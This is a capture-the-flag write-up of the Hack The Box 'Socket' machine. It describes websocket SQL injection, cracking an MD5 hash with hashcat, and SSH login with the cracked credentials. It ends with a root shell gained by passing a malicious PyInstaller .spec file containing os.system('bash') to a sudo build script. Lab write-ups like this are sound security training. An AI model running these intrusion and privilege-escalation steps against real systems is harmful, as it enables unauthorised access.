Socket Writeup
16 July 2023 #CTF #HTB #box #medium #linuxEnumeration
Put on your hacking socks, it's nmap
time:
$ sudo nmap -sCV -oN enum/initial.nmap 10.10.11.206
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://qreader.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: qreader.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
HTTP
On port 80 we have a simple web app to read/generate QR codes:
There are also links to a desktop version for both Linux and Windows:
Thick Client
After extracting the archive, we get an executable and a png file:
$ ls -Alh
total 104M
-rwxr-xr-x 1 yep yep 104M Nov 23 15:18 qreader
-rwxr-xr-x 1 yep yep 541 Nov 23 15:21 test.png
The executable is huge (104M) and looking at it with strings
reveals that it is a python program bundled as a binary:
$ strings qreader
[...]
Py_DontWriteBytecodeFlag
Py_FileSystemDefaultEncoding
Py_FrozenFlag
Py_IgnoreEnvironmentFlag
Py_NoSiteFlag
Py_NoUserSiteDirectory
Py_OptimizeFlag
Py_VerboseFlag
Py_UnbufferedStdioFlag
Py_UTF8Mode
[...]
xcv2/__init__.py
xcv2/config-3.py
xcv2/config.py
xcv2/data/__init__.py
xcv2/gapi/__init__.py
xcv2/load_config_py2.py
xcv2/load_config_py3.py
xcv2/mat_wrapper/__init__.py
xcv2/misc/__init__.py
xcv2/misc/version.py
xcv2/utils/__init__.py
xcv2/version.py
[...]
Time to do some dynamic analysis to see what this app is doing. We'll use proxychains
to force the traffic through Burp. Copy /etc/proxychains.conf
to ./burp.conf
and modify the last few lines:
[ProxyList]
http 127.0.0.1 8080
Now we can launch the application:
$ proxychains -f burp.conf qreader
This opens a new window. Clicking on About -> Version produces some HTTP/websocket traffic (make sure Burp is intercepting):
Forwarding the request will lead to an error:
This is because we need to add ws.qreader.htb
to /etc/hosts
.
Once we do it, this message should appear on the app:
There is some websocket traffic on the 'WebSockets history' tab:
Foothold
We can send this websocket message to the Repeater tab to play with. There is an SQL injection in the version:
After a bit of troubleshooting (and guessing) we learn that the DB used is sqlite.
This is how we'll dump the tables:
The 'users' table seems the most interesting, let's see its columns:
Okay, let's dump all usernames and passwords:
This is just a MD5 hash. We can throw it to hashcat
:
$ hashcat -m 0 0c090c365fa0559b151a43e0fea39710 /usr/share/wordlists/rockyou.txt
[...]
0c090c365fa0559b151a43e0fea39710:denjanjade122566
[...]
We have a password, but no username. Digging through the DB a bit more, we can find a few usernames in the 'answer' table:
We see that 'Thomas Keller' answered and is actually the admin. We can SSH in with tkeller:denjanjade122566
Privesc
We can run a script as root with sudo:
tkeller@socket:~$ sudo -l
Matching Defaults entries for tkeller on socket:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tkeller may run the following commands on socket:
(ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
This script has a build
subcommand that uses pyinstaller
to build a binary from a python script:
[...]
if [[ $action == 'build' ]]; then
if [[ $ext == 'spec' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/home/svc/.local/bin/pyinstaller $name
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
[...]
It wants the filename to end with .spec
. We can find what these files are used for in the PyInstaller docs:
The spec file tells PyInstaller how to process your script. It encodes the script names and most of the options you give to the pyinstaller command. The spec file is actually executable Python code. PyInstaller builds the app by executing the contents of the spec file
Okay, it seems it's just a good old python script. Let's create one called gimmeroot.spec
:
import os
os.system('bash')
And now use the script to build it:
tkeller@socket:~$ sudo build-installer.sh build gimmeroot.spec
642 INFO: PyInstaller: 5.6.2
642 INFO: Python: 3.10.6
645 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
652 INFO: UPX is not available.
root@socket:/home/tkeller# id
uid=0(root) gid=0(root) groups=0(root)
And boom we get a root shell. Simple as that.
Key Takeaways
- Use
proxychains
to proxy thick clients through Burp - Try both single and double quotes for SQLi